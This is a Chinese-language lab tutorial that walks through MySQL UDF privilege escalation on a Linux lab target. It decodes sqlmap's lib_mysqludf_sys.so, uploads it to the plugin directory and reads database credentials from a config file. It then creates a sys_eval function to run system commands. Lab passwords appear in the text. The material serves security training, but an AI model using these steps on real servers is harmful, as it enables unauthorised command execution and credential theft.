1. 程式人生 > 資料庫 >Mysql提權-基於Mysql的UDF提權(Linux系統)

Mysql提權-基於Mysql的UDF提權(Linux系統)

實驗宣告:本實驗教程僅供研究學習使用,請勿用於非法用途,違者一律自行承擔所有風險!

基於Mysql的UDF提權(Linux系統)

【實驗目的】

  通過本實驗理解如何通過webshell結合sqlmap自帶的dll檔案對Linux系統進行UDF提權,熟悉UDF提權的主要方法。

【實驗環境】

攻擊機:Kali-pri
使用者名稱college,密碼360College

目標靶機:CentOS-sqli-lab
使用者名稱college,密碼360College

【實驗原理】

  scp命令簡介:

  scp是 secure copy的縮寫, scp是linux系統下基於ssh登入進行安全的遠端檔案拷貝命令。linux的scp命令可以在linux伺服器之間複製檔案和目錄。

  複製檔案的命令格式:

  scp local_file remote_username@remote_ip:remote_folder

  scp dama.php :/var/www/html/wordpress

【實驗步驟】

  1.啟動靶機CentOS-sqli-lab、攻擊機Kali-pri。

  2.將Kali系統中sqlmap自帶的udf提權庫檔案進行解碼。 在Kali攻擊機上,啟動終端,依次輸入如下命令:

  (1)sudo su

//切換到root使用者

  (2)cd /usr/share/sqlmap/extra/cloak/

//進入cloak目錄

  (3)python cloak.py -d -i /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so_

//將lib_mysqludf_sys.so_進行解碼

  解碼後,在/usr/share/sqlmap/udf/mysql/linux/64目錄下會生成一個名為“lib_mysqludf_sys.so”的解碼後的so檔案。

  3.將攻擊機上的lib_mysqludf_sys.so檔案上傳至靶機的/usr/lib64/mysql/plugin目錄(此為mysql資料庫的外掛安裝目錄),所用命令為:

  scp /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so 【靶機的賬戶】@【靶機IP地址】: /usr/lib64/mysql/plugin

  這裡所用的靶機賬戶為college,密碼為360College

  4.在Kali攻擊機上,利用nmap掃描靶機開放的埠,所用命令為:

  nmap -sS 【靶機IP地址】

  注意:該命令只有管理員身份(即root使用者)才能使用!

  通過nmap掃描結果得知,目標靶機開放了TCP 22埠。

  5.在Kali攻擊機上,通過SSH連線靶機,所用命令為:

  ssh 【靶機的賬戶】@【靶機IP地址】

  這裡所用的靶機賬戶為college,密碼為360College

  6.通過SSH成功連線靶機後,進入靶機的/var/www/html/sql-connections目錄,通過檢視db-creds.inc檔案內容獲取靶機MySQL資料庫root賬戶的密碼。所用命令為:

  (1)cd /var/www/html/sql-connections

//進入該目錄

  (2)cat db-creds.inc

//檢視db-creds.inc檔案內容

  這裡獲取到的MySQL資料庫root賬戶的密碼為root123456

  7.用root賬戶連線靶機的MySQL資料庫。

  依次輸入以下命令:

  (1)cd /usr/bin

//進入MySQL可執行檔案的目錄

  (2)mysql -h 127.0.0.1 -u root -p

//連線MySQL

  (3)輸入root賬戶的密碼root123456

  當出現mysql>的提示符時,則表示連線成功。

  8.利用第3步中上傳的lib_mysqludf_sys.so檔案,建立一個MySQL函式sys_eval,所用命令為:

  create function sys_eval returns strings soname ‘lib_mysqludf_sys.so’;

  建立完成後,利用如下命令檢視結果:

  select * from mysql.func;

  9.利用sys_eval函式執行系統命令:

  (1)select sys_eval(‘whoami’);

  (2)select sys_eval(‘id’);

  實驗至此結束。

【思考與總結】

  通過本次實驗,掌握了利用webshell結合sqlmap自帶的dll檔案對Linux系統進行UDF提權的方法。